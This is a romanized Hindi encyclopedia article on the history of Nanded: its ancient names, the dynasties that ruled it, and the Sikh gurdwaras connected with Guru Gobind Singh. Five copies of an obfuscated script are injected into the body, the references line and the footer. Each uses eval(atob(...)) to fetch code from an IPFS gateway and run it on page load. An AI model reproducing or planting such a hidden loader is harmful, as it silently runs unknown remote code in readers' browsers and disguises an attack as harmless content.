नंदेड़
thumb|250px|hazur sahib, nande d nande d athava 'nandagiri' athava 'nanditat' maharashtr mean godavari nadi ke tat par sthit prachin nagar hai. puranoan ke anusar nande d ko pramukh tirth sthanoan mean mana gaya hai. prachin kal mean is nagar ka sambandh chaluky aur kakatiy rajavanshoan se raha tha. bahamani sultanoan ke shasan kal mean nande d ek pramukh vyaparik kendr ban chuka tha, kyoanki yah uttari aur dakshini bharat ke bich nadiyoan dvara hone vale vyapar ke marg par sthit tha. nande d ki sarvadhik prasiddhi is karan hai ki yahaan sikkhoan ke dasavean guru guru govind sianh ki samadhi hai.
itihas
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
puranoan mean varnit nanditat ya nande d ki ganana bharat ke pavitr dharmik sthanoan mean ki jati hai. mekelif ki 'sikkh rilijan' ke anusar is sthan ka prachin nam 'navanand' tha, kyoanki is sthan par nau rrishiyoan ne tap kiya tha. is nam ka sanbandh magadh ke navanandoan se bhi bataya jata hai. kuchh vidvanoan ka mat hai ki 'periplas aauf di eraeethriyan si' namak granth ke lekhak ne dakshin bharat ke jis vyaparik nagar 'tagara' ka varnan kiya hai, vah nande d ke nikat hi sthit hoga. chauthi shati ee. mean nande d nagar kafi mahattvapoorn tha aur yahaan ek chhote se rajy ki rajadhani bhi thi, kintu ab yahaan ati prachin bhavanoan adi ke avashesh nahian milate.
katha
ek aitihasik katha ke anusar chaluky vansh ke raja anand ne apani rajadhani kalyani se nande d le ane ka vichar kiya tha aur nande d mean patthar ke baandh banavakar ek t dag ka nirman bhi karavaya tha. usi ne ratnagiri paha di par nandagiri ya nande d nagari ko basaya tha. chauthi shati ee. mean varangal ke chaluky nareshoan ki ek shakha nande d mean rajy karati thi. varangal ke kakatiy rajavansh ke itihas 'pratap rudrabhushan' mean varnan hai ki kakatiy nareansh nand ka nande d par rajy tha. nandadev ke pautr madhavavarman ke shasan kal mean shiv tatha nandi ki pooja ko bahut protsahan mila aur is samay ke anek mandir nande d ki prachin kala aur sanskriti ke utkrisht udaharan haian.
muslimoan ka adhikar
'narasianh ka mandir' tatha bauddh aur jain mandir hindoo kal ke suandar sansmarak haian. muslimoan ke dakshin bharat par akraman ke pashchath nande d alauddin khilaji tatha muhammad tugalaq ke adhikar mean raha. bahamani kal mean nande d ek b da vyaparik sthan ban gaya tha, kyoanki godavari nadi ke tat par sthit hone ke karan yah uttari aur dakshini bharat ke bich nadiyoan ke dvara hone vale vyapar ke marg par p data tha. mahamood gavaan ne jo bahamani rajy ka mantri thi, nande d ko mahor ke soobe ke aantargat shamil kar liya. bahamani kal mean nande d mean kee muslim santoan ne apana avas banaya tha.
sikkh paryatan sthal
thumb|250px|kaleshvar jhil, nande d malik ambar aur kutubashahi sultanoan ki banavaee huee do masjidean bhi yahaan par sthit haian. kintu nande d ki prasiddhi ka vishesh karan sikkhoan ke dasavean guru goviand sianh ki samadhi hai. aurangazeb ki mrityu ke pashchath goviand sianh bahadurashah pratham ke sath dakshin bharat ae the. yahaan par unhoanne nande d ke nivasi 'madhodas bairagi' (banda bairagi) ki virata se sanbandhit yashogan sune aur usase milane ve nande d ae. yahian par unhoanne apana asthayi nivas banaya tha. unake dere ka sthan aj bhi 'sangat sahab gurudvara' kahalata hai. godavari ke tat par vah sthan, jahaan guru ki banda se bheant huee thi, 'bandaghat' nam se prasiddh hai. ek shishy ne guru ko ek amooly hira bheant kiya tha, jo unhoanne godavari ke jal mean pheank diya tha. yah sthan 'nagina ghat' kahalata hai.
dharmik sthan
1708 ee. mean nande d mean hi guru goviand sianh ek kroor pathan ke hathoan ghayal hokar kuchh samay pashchath svargagami hue. unaki chita ki bhasm par ek samadhi banavaee gee thi, jo ab 'hazur sahib ka gurudvara' nam se sikkhoan ka mahattvapoorn tirth hai. is gurudvare ka maharana ranajit sianh ne 1831 ee. mean nirman karavaya tha. isake pharsh aur stanbhoan par sangamaramar ka suandar kam hai. gurudvare ke guanbad, chhat aur bich ke baramade par sone ke bhari patthar lage haian. mukhy gurudvare ke atirikt nande d mean sat any gurudvare bhi haian-
- hiraghat
- shikharaghat
- mata sahiba
- sangat sahab
- malatekari
- bandaghat
- nagina ghat
in sabase goviand sianh ke jivan ki anamol kathaean sanbandhit haian. vasim se prapt ek tamr pattalekh mean nande d ka prachin nam 'nandikal' diya hua hai.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
aitihasik sthanavali |lekhak: vijayendr kumar mathur |prakashak: rajasthan hindi granth akadami, jayapur |prishth sankhya: 473 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>